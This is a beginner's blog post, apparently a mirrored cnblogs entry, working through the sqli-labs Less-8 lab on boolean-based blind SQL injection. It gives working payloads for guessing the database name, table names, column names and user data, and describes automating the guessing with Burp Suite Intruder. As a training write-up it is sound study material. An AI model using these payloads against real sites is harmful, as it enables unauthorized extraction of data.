zoukankan      html  css  js  c++  java
  • 小白注入学习:sqli-labs--less8学习记录

    Less8 布尔型盲注:

    1.布尔盲注
    网页代码仍然存在着SQL注入漏洞,但是当进行SQL注入时,页面不会回显任何数据,只会返回“right”或“wrong”即0和1。
    需要通过构造SQL语句,来判断数据库信息的正确性,在通过页面的返回的“真”和“假”来识别判断是否正确,这就是布尔盲注。
    Less8中 当SQL语句正确时,页面显示You are in......
    当SQL语句错误时,页面啥也不显示
    初步满足布尔型盲注的特点
    2.确定注入类型、方法
    ?id=1' and 1=1 --+ 页面显示You are in...
    ?id=1' and 1=2 --+ 页面啥也不显示
    确定这是一个布尔型的盲注,根据回显判断语句是否正确来注入。
    3.通过left()函数构造payload
    left(a,b)从a左侧截取前b位
    再根据页面的显示判断当前SQL语句是否正确。
    (1)猜解数据库名长度
    ?id=1' and length(database())=8 --+
    页面显示You are in......
    //ps小白注释:这句话=你在问数据库名的长度是8嘛,数据库回答You are in......说明数据库名长度是8。下面的与此类似
    (2)猜解数据库名
    ?id=1' and left(database(),1)='s'--+
    页面显示You are in......
    //ps小白注释:=问数据库名的第一位是s嘛,数据库回答You are in......说明猜想正确
    ?id=1' and left(database(),2)='se'--+
    页面显示You are in......
    //ps小白注释:=问数据库名的前两位是se嘛,数据库回答You are in......说明猜想正确
    根据此方法,一个字符字符的猜解出数据库名为security
    (3)
    猜解表名,字段,以及字段内容的操作都一样,结合limit()函数从第一条数据查找,根据页面回显判断是否正确。附上部分payload
    猜解表名
    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
    猜解字段
    ?id=1' and left((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1)='i'--+
    猜解字段内容
    ?id=1' and left((select username from users limit 0,1),1)='d'--+
    4.结合burpsuit进行猜解
    布尔盲注猜解确实比较麻烦耗时间,这里介绍一种结合burpsuit进行猜解的方法。以数据库名为例。

    布尔盲注猜解确实比较麻烦耗时间,这里介绍一种结合burpsuit进行猜解的方法。以数据库名为例。
    (1)通过burpsuit抓包,抓取我们的猜解数据库名的请求

    抓包
    (2)把请求发送到Intruder下选中参数

    清除掉所有标记后,在猜解的参数上加入新的标记

    选取参数
    (3)修改payload设置为Brute forcer并选取猜解范围

    抓包
    (4)获取到参数值

    根据Length排序后,会发现在参数为 s 下有You are in,故数据库第一位为s,以此类推猜解剩余内容

    抓包

    PS:小白总结

    (1)布尔盲注就相当于A问B问题,B只能回答是、否,A通过B的回答来判断自己的猜想。

    (2)手工盲注相对较为复杂繁琐,可以结合工具进行协助注入。如burpsuit,sqlmap、小脚本

    (3)与 left() 相似的函数还有 substr() 这两个函数都可以结合 ascii() 函数配合注入能应对单引号 ' 被过滤的场景。

      substr(a,b,c) 从 b 位置开始截取字符串 a 的 c 长度  ascii() 将字符串转换为asii码形式

    小白注入学习记录!!

  • 相关阅读:
    CSS练习
    大作业“抽屉页面”html+css
    html练习代码
    协程-基于TCP的高并发通信
    协程-爬虫示例
    互斥锁,递归锁,信号量
    三层架构(我的理解及详细分析)
    递归算法经典实例小结(C#实现)
    使用XmlWriter写Xml
    使用XmlReader读Xml
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less8.html
Copyright © 2011-2022 走看看